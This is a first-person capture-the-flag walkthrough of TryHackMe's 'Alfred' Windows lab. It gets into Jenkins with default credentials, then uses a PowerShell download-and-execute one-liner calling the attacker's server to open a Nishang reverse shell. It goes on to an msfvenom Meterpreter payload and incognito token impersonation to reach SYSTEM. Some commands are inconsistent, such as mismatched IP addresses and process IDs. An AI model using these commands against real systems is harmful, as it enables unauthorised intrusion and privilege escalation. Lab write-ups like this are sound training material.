Windows, in its core security design, leverages access tokens to determine if accounts possess the requisite permissions to execute certain tasks. When you authenticate to a system, Windows hands over an access token specific to your account. But here’s where things can get dicey: these tokens, if misconfigured or manipulated, might become an open door for attackers to amp up their privileges all the way to NT AUTHORITY\SYSTEM levels.
Looking back at “Alfred”, a vulnerable machine from TryHackMe, I got a hands-on opportunity to delve into Windows Security concepts. In this CTF walkthrough, I worked with security tokens, managed to exploit a Jenkins vulnerability for system access, and made use of imposter tokens to elevate privileges. Here’s a recap of my journey through the challenge.
Insights
- Windows Access Tokens: Upon authentication, users receive specific tokens that dictate their permissions. If misconfigured or manipulated, they can provide an avenue for attackers to escalate privileges.
- Securing a Shell: Utilizing tools like netcat and scripts like those from Nishang can be instrumental in acquiring a reverse shell, a pivotal step in many attacks.
- Impersonating User Tokens: Gaining elevated system permissions can often be achieved by successfully impersonating high-level tokens, like BUILTIN\Administrators.
Scanning and Enumeration
I Start by running an Nmap scan.
└─$ nmap 10.10.176.75 -F
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-25 10:31 EST
Nmap scan report for 10.10.176.75
Host is up (0.18s latency).
Not shown: 97 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
3389/tcp open ms-wbt-server
8080/tcp open http-proxy
Upon my initial scan, I noticed active web servers on ports 80 and 8080, and there’s also an RDP service over on port 3389.
Curious about the content on the web service, I ran a quick curl command. What came up was a plain page, not giving much away. It seemed pretty basic at first glance, but I was keen to keep digging.
└─$ curl 10.10.176.75
<html>
<head>
<style>
* {font-family: Arial;}
</style>
</head>
<body><center><br />
<img width="200" height+"300" src="bruce.jpg"><br /><br />
RIP Bruce Wayne<br /><br />
Donations to <strong>[email protected]</strong> are greatly appreciated.
</center></body>
</html>
Spotting the Assets
While browsing the page, an image file caught my eye. I made it a point to save this resource to my local folder. Experience has taught me that sometimes images can hide data or clues via steganography.
Having done that, I turned my attention to the service on port 8080. I decided to explore it further using my web browser.
When I visited the service on port 8080, I landed on the Jenkins login page.
To provide some background, Jenkins is described by Wikipedia as a widely-used open-source automation server. Its main role is to assist in various software development phases like building, testing, and deployment, paving the way for seamless continuous integration and delivery.
I’ve noticed that sometimes services might be left running with their out-of-the-box credentials. A brief online search suggested that Jenkins often uses ‘admin:admin’ as its default login. I tried this, and to no surprise, I gained access. Once inside, the Jenkins software version was evident in the bottom right corner of the screen.
Uncovering Weaknesses
Having pinpointed the Jenkins version to 2.190.1, I then sought to identify any exploits that might be linked to this particular version. By running a search query like “Jenkins 2.190.1 exploit,” I sifted through the findings to spot any relevant vulnerabilities.
As I delved deeper within Jenkins, especially in the (Manage Jenkins > Script Console) section, I noticed a code execution vulnerability specific to this version. Grasping the nuances of this vulnerability was crucial if I were to exploit it successfully.
Probing the Command Execution
I wanted to ensure the build command’s ability to execute code, so I opted for a basic “whoami” command. This would show me if I was genuinely able to execute commands within this Jenkins environment.
Once I was confident in its ability to execute, my focus shifted to finding a way to communicate back or, more specifically, to secure a shell. For this, I set up a netcat listener. It’s essentially a listening post, waiting patiently for an inbound connection. With this in place, I was geared up to obtain a shell as soon as the exploit was initiated.
└─$ netcat -lnvp 8888
listening on [any] 8888 ...
Windows Shell Acquisition
In the realm of Windows systems, securing a shell demands a distinct approach compared to UNIX-based systems. This is where Nishang, with its rich suite of PowerShell scripts, comes into play. For the task at hand, I leaned on the PowerShellTcp.ps1 module from Nishang to help me gain that coveted reverse shell.
After downloading the PowerShellTcp.ps1, I placed it in a convenient directory. Then, I spun up a Python HTTP server right there. This server acts as a beacon, ready to serve the script to our target, thus paving the way for our reverse shell maneuver.
└─$ python3 -m http.server 5555
Command:
powershell iex (New-Object Net.WebClient).DownloadString(http://10.13.31.24:5555/Invoke-PowerShellTcp.ps1);Invoke-PowerShellTcp -Reverse -IPAddress 10.13.31.24 -Port 8888
This resulted in the connection.
connect to [10.13.31.24] from (UNKNOWN) [10.10.176.75] 49208
Windows PowerShell running as user bruce on ALFRED
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Program Files (x86)\Jenkins\workspace\project>
User Access Achieved
Using the Nishang script proved fruitful, providing me with user-level access to the machine. With this newfound access, I headed over to PS C:\users\bruce\Desktop>, where I spotted and collected the user flag.
79007a09481963edf2**************Enhancing the Shell
Before progressing further, I decided to upgrade my existing shell to the more flexible Meterpreter session. Meterpreter offers a broader set of tools and functions that can significantly aid in deeper system exploration and exploitation.
To transition to this enhanced shell, I turned to msfvenom, a component of the Metasploit framework. It’s instrumental in generating payloads tailored for specific tasks.
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai EXITFUNC=thread LHOST=10.8.20.45 LPORT=9001 -f exe -o mrevshell.exe
Initiating Metasploit
To kick things off, I fired up Metasploit using the msfconsole command. Once inside the console, it was essential to set up the appropriate handler for the Meterpreter session. This ensures that when the payload is triggered on the target machine, our Metasploit instance will be ready to catch the incoming connection and grant us the desired Meterpreter session.
└─$ msfconsole
IIIIII dTb.dTb _.---._
II 4' v 'B .'"".'/|\`.""'.
II 6. .P : .' / | \ `. :
II 'T;. .;P' '.' / | \ `.'
II 'T; ;P' `. / | \ .'
IIIIII 'YvP' `-.__|__.-'
I love shells --egypt
=[ metasploit v6.0.45-dev ]
+ -- --=[ 2134 exploits - 1139 auxiliary - 364 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 8 evasion ]
Metasploit tip: Adapter names can be used for IP params
set LHOST eth0
msf6 > use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp
msf6 > set LHOST 10.13.31.24
msf6 > set LPORT 9001
msf6 > run
Leveraging Meterpreter and Windows Security Basics
Upon obtaining the Meterpreter shell, I was presented with an interactive environment. Meterpreter, with its range of functionalities, acts as a bridge, allowing for a more efficient transition between various system interactions.
However, before taking any privilege escalation steps, I felt it essential to understand the foundation upon which Windows security is built. Like any other system, the more I understand its underlying mechanics, the better equipped I am to navigate through its intricacies.
One of the pillars of Windows security is the “access token.” Whenever an account authenticates to a Windows system, it’s given this token. It’s a small but powerful component that carries information about the user, their groups, and the rights they have. The system then uses this token to determine what actions the user can or cannot perform.
But like all systems, there are weak points. Tokens can, under specific circumstances, be manipulated. This is especially true if they’re misconfigured or mishandled, creating opportunities for those seeking to escalate their privileges.
For our challenge, the key was “impersonation tokens.” This concept is quite fascinating. In essence, it allows a process to “wear the shoes” of another user or process, assuming their rights and privileges. Imagine being able to operate not as yourself but as another user with potentially more privileges. This is what impersonation is all about. And it’s this very principle that I aimed to exploit to gain the ultimate prize: the NT AUTHORITY\SYSTEM access.
Grabbing Root
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
With a whoami /priv, I noticed that the SeImpersonatePrivilege was enabled. This privilege presented an opportunity to use meterpreter’s list_tokens -g command. Before diving in, I loaded the necessary module with the load incognito command.
meterpreter > list_tokens -g
Delegation Tokens Available
========================================
BUILTIN\Administrators
BUILTIN\IIS_IUSRS
BUILTIN\Users
NT AUTHORITY\Authenticated Users
NT AUTHORITY\NTLM Authentication
NT AUTHORITY\SERVICE
...
NT SERVICE\UxSms
NT SERVICE\W32Time
NT SERVICE\WdiServiceHost
NT SERVICE\WinDefend
NT SERVICE\Winmgmt
NT SERVICE\wscsvc
NT SERVICE\WSearch
NT SERVICE\wuauserv
Impersonation Tokens Available
========================================
NT AUTHORITY\NETWORK
NT SERVICE\ShellHWDetection
NT SERVICE\WinHttpAutoProxySvc
After checking the available tokens, I noticed that the BUILTIN\Administrator token was within reach. To utilize this, I decided to apply the impersonate_token command, specifically focusing on the BUILTIN\Administrators token.
meterpreter > impersonate_token "BUILTIN\Administrators"
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
The next step in my journey involved capitalizing on the impersonation token I’d acquired. The goal was to migrate to a process that was running with NT AUTHORITY\SYSTEM privileges.
To pinpoint a suitable process, I started by executing the ps command. This provided a list of active processes, one of which would be the gateway to achieving higher privileges.
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
396 4 smss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\smss.exe
524 516 csrss.exe x64 0 NT AUTHORITY\SYSTEM
...
2776 2380 hacked.exe x86 0 alfred\bruce C:\Program Files (x86)\Jenkins\workspace\project\hacked.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Having identified a suitable process ID, I proceeded to run the migrate command within Meterpreter. This command would effectively move my current session into the chosen process, granting me the permissions associated with that process. In this case, the objective was to inherit the elevated privileges of NT AUTHORITY\SYSTEM.
meterpreter > migrate 2836
[*] Migrating from 2216 to 2836...
[*] Migration completed successfully.
Following the migration, it’s a good practice to verify the user context we’re operating under. I ran the getuid command within Meterpreter to confirm. Ideally, if all went according to plan, it should display that we’re now operating as NT AUTHORITY\SYSTEM.
Meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
And with that confirmation, I navigated to the appropriate directory and retrieved the root flag. It’s always a gratifying moment to achieve this milestone, wrapping up the challenge on a successful note.
type C:\Windows\System32\config\root.txt
dff0f748678f280250**************
I hope you found value in walking through this machine with me. While navigating its challenges, we touched upon some fundamental aspects of Windows security. The journey was as much about learning as it was about solving.
Summary
I began by conducting an Nmap scan, which identified services on ports 80, 8080, and 3389. An initial investigation of port 80 via a curl command presented a basic HTML page. However, the significant finding was the Jenkins login page on port 8080. Recognizing Jenkins as an open-source automation server, I accessed it using default credentials.
Within Jenkins, I identified a code execution vulnerability related to its version. After confirming the vulnerability with a test command, I set up a netcat listener to prepare for a system shell. Using a PowerShell script from Nishang, I obtained a reverse shell and secured user-level access, locating the user flag in the process.
To elevate my access, I utilized the Metasploit framework, intending to transition to a Meterpreter session. A core Windows security concept I encountered was “access tokens,” with “impersonation tokens” being of particular importance. Through Meterpreter, I impersonated the BUILTIN\Administrators token, migrated to a process associated with NT AUTHORITY\SYSTEM, and achieved the highest access level.
With this elevated access, I retrieved the root flag, completing the challenge. The entire process provided a practical examination of Windows security concepts.
